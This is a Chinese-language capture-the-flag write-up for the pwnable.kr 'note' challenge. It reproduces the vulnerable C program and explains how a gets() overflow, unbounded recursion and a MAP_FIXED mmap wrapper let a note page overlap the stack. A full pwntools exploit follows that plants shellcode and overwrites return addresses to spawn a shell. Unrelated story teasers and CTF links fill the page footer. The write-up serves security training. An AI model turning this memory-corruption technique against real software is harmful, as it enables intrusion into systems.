pwnable.kr note

先放源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <unistd.h>

#define PAGE_SIZE 4096

void *mmap_s(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
void *mem_arr[257];

void clear_newlines(void)
{
    int c;
    do
    {
        c = getchar();
    } while (c != '\n' && c != EOF);
}

void create_note()
{
    int i;
    void *ptr;
    for (i = 0; i < 256; i++)
    {
        if (mem_arr[i] == NULL)
        {
            ptr = mmap_s((void *)NULL, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
            mem_arr[i] = ptr;
            printf("note created. no %d\n [%08x]", i, (int)ptr);
            return;
        }
    }
    printf("memory sults are fool\n");
    return;
}

void write_note()
{
    unsigned int no;
    printf("note no?\n");
    scanf("%d", &no);
    clear_newlines();
    if (no > 256)
    {
        printf("index out of range\n");
        return;
    }
    if (mem_arr[no] == NULL)
    {
        printf("empty slut!\n");
        return;
    }
    printf("paste your note (MAX : 4096 byte)\n");
    gets(mem_arr[no]);
}

void read_note()
{
    unsigned int no;
    printf("note no?\n");
    scanf("%d", &no);
    clear_newlines();
    if (no > 256)
    {
        printf("index out of range\n");
        return;
    }
    if (mem_arr[no] == NULL)
    {
        printf("empty slut!\n");
        return;
    }
    printf("%s\n", mem_arr[no]);
}

void delete_note()
{
    unsigned int no;
    printf("note no?\n");
    scanf("%d", &no);
    clear_newlines();
    if (no > 256)
    {
        printf("index out of range\n");
        return;
    }
    if (mem_arr[no] == NULL)
    {
        printf("already empty slut!\n");
        return;
    }
    munmap(mem_arr[no], PAGE_SIZE);
    mem_arr[no] = NULL;
}

void select_menu()
{
    // menu
    int menu;
    char command[1024];

    printf("- Select Menu -\n");
    printf("1. create note\n");
    printf("2. write note\n");
    printf("3. read note\n");
    printf("4. delete note\n");
    printf("5. exit\n");
    scanf("%d", &menu);
    clear_newlines();

    switch (menu)
    {
    case 1:
        create_note();
        break;

    case 2:
        write_note();
        break;

    case 3:
        read_note();
        break;

    case 4:
        delete_note();
        break;

    case 5:
        printf("bye\n");
        return;

    case 0x31337:
        printf("welcome to hacker's secret menu\n");
        printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
        fgets(command, 1025, stdin);
        break;

    default:
        printf("invalid menu\n");
        break;
    }

    select_menu();
}

int main()
{
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("welcome to pwnable.kr\n\n");
    sleep(2);
    printf("recently I noticed that in 32bit system with no ASLR,\n");
    printf(" mmap(NULL... gives predictable address\n\n");
    sleep(2);
    printf("I believe this is not secure in terms of software exploit mitigation\n");
    printf("so I fixed this feature and called mmap_s\n\n");
    sleep(2);
    printf("please try out this sample note application to see how mmap_s works\n");
    printf("you will see mmap_s() giving true random address despite no ASLR\n\n");
    sleep(2);
    printf("I think security people will thank me for this :)\n\n");
    sleep(2);

    select_menu();
    return 0;
}

// secure mmap
void *mmap_s(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
{

    // security fix: current version of mmap(NULL.. is not giving secure random address
    if (addr == NULL && !(flags & MAP_FIXED))
    {
        void *tmp = 0;
        int fd = open("/dev/urandom", O_RDONLY);
        if (fd == -1)
            exit(-1);
        if (read(fd, &addr, 4) != 4)
            exit(-1);
        close(fd);
        // to avoid heap fragmentation, lets skip malloc area
        addr = (void *)(((int)addr & 0xFFFFF000) | 0x80000000);

        while (1)
        {
            // linearly search empty page (maybe this can be improved)
            tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
            if (tmp != MAP_FAILED)
            {
                return tmp;
            }
            else
            {
                // memory already in use!
                addr = (void *)((int)addr + PAGE_SIZE); // choose adjacent page
            }
        }
    }

    return mmap(addr, length, prot, flags, fd, offset);
}

write_note中含栈溢出,在调试的过程中可以发现申请的堆读写执行权限是全开的:



也就是说,在堆上写shellcode并且栈溢出到shellcode的返回地址就能getshell。但问题是write_note的逻辑明显是在堆上做溢出,不能直接getshell。
然后就是这个程序最为精髓的地方:递归。select_menu函数没有用死循环实现而是直接递归,这意味着栈在递归的过程中会不断累积。
但让栈不断累积并且直接达到堆是不可能的,栈一旦超出应有的范围程序会直接崩掉。这似乎推翻了前面所做的假设:用栈去和堆交叠然后用堆作溢出。
最后也是这一程序能exploit的最关键部分:自定义mmap函数实际上有概率令堆和栈的位置交叠,可以看到mmap_s函数中的逻辑,其中:

addr = (void *)(((int)addr & 0xFFFFF000) | 0x80000000);

这一地址事实上是能够与栈交叠的,一些更多的细节,比如为什么能mmap到栈上的地址程序却不崩溃,需要参考mmap的文档:

MAP_FIXED
Don't interpret addr as a hint: place the mapping at
exactly that address. addr must be suitably aligned: for
most architectures a multiple of the page size is
sufficient; however, some architectures may impose
additional restrictions. If the memory region specified
by addr and length overlaps pages of any existing
mapping(s), then the overlapped part of the existing
mapping(s) will be discarded.
If the specified address
cannot be used, mmap() will fail.
Software that aspires to be portable should use the
MAP_FIXED flag with care, keeping in mind that the exact
layout of a process's memory mappings is allowed to change
significantly between kernel versions, C library versions,
and operating system releases. Carefully read the
discussion of this flag in NOTES!

mmap开启了MAP_FIXED flag时,栈上的数据将会被舍弃,正因如此堆与栈数据重叠而不冲突时才能在栈上邻近的位置分配内存。
最后的问题来了:如何去预测堆和栈交叠的时刻?没有其他办法,猜!栈增长的大小是固定不变的,而栈的起始地址由于ASLR的存在难以预测,加上堆的地址生成来自于随机分配,exp成功的概率极小,需要多次尝试。我使用的栈初始地址为0xFFFFFFFF,最后是exp:

from pwn import *

r = process("./note")


def recv_menu():
    r.recvuntil(b"5. exit\n")


def create_note():
    recv_menu()
    r.sendline(b"1")
    r.recvuntil(b"no ")
    addr_no = int(r.recvline().strip(), 10)
    r.recvuntil(b" [")
    addr = int(r.recvuntil(b"]")[:-1], 16)
    success("Create " + str(addr_no) + " note at: " + hex(addr))
    return addr_no, addr


def write_note(no: int, msg: bytes):
    recv_menu()
    r.sendline(b"2")
    r.recvuntil(b"note no?\n")
    r.sendline(str(no).encode("utf-8"))
    r.recvuntil(b"paste your note (MAX : 4096 byte)\n")
    r.sendline(msg)


def delete_note(no: int):
    recv_menu()
    r.sendline(b"4")
    r.recvuntil(b"note no?\n")
    r.sendline(str(no).encode("utf-8"))
    success("Delete note: " + str(no))


sleep(10)
stack_addr = 0xFFFFFFFF
stack_no = 0

while True:
    no, addr = create_note()
    if no == 255:
        for i in range(256):
            delete_note(i)
        stack_addr -= 0x430 * 255
    stack_addr -= 0x430
    if addr > stack_addr:
        stack_no = no
        stack_addr = addr
        break
    success("Heap at: " + hex(addr) + "...." + "Stack at: " + hex(stack_addr))

shellcode = asm(shellcraft.sh())
shellcode_no, shellcode_addr = create_note()
write_note(shellcode_no, b"\x90" * 200 + shellcode)

write_note(stack_no, p32(shellcode_addr) * 1024)
recv_menu()
r.sendline(b"5")
r.interactive()

放一张本地成功的截图,远程需要ssh到服务器上跑。


更正一下用语的错误,mmap_s的并不是在堆上申请内存,而是与堆邻近的位置。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,386评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,142评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,704评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,702评论 1 294
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,716评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,573评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,314评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,230评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,680评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,873评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,991评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,706评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,329评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,910评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,038评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,158评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,941评论 2 355

推荐阅读更多精彩内容

  • 0x01 fd 文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次...
    Nevv阅读 5,843评论 0 6
  • 0x01 codemap 1. 题目描述 2. 题目分析 我们直接看IDA反汇编后的代码: 经过分析我们可以看到,...
    Nevv阅读 607评论 0 4
  • Chunk等相关理论可参考https://blog.csdn.net/donghanhang/article/de...
    HAPPYers阅读 406评论 0 0
  • start 分析: ret2shellcode 流程:传入shellcode 并且执行 要点: 1.得到溢出,劫持...
    fantasy_learner阅读 784评论 0 0
  • 07.19 CTF特训营---REVERSE阅读P208——P 1、X86指令体系 寄存器组 汇编指令集:Inte...
    gufsicsxzf阅读 1,480评论 0 0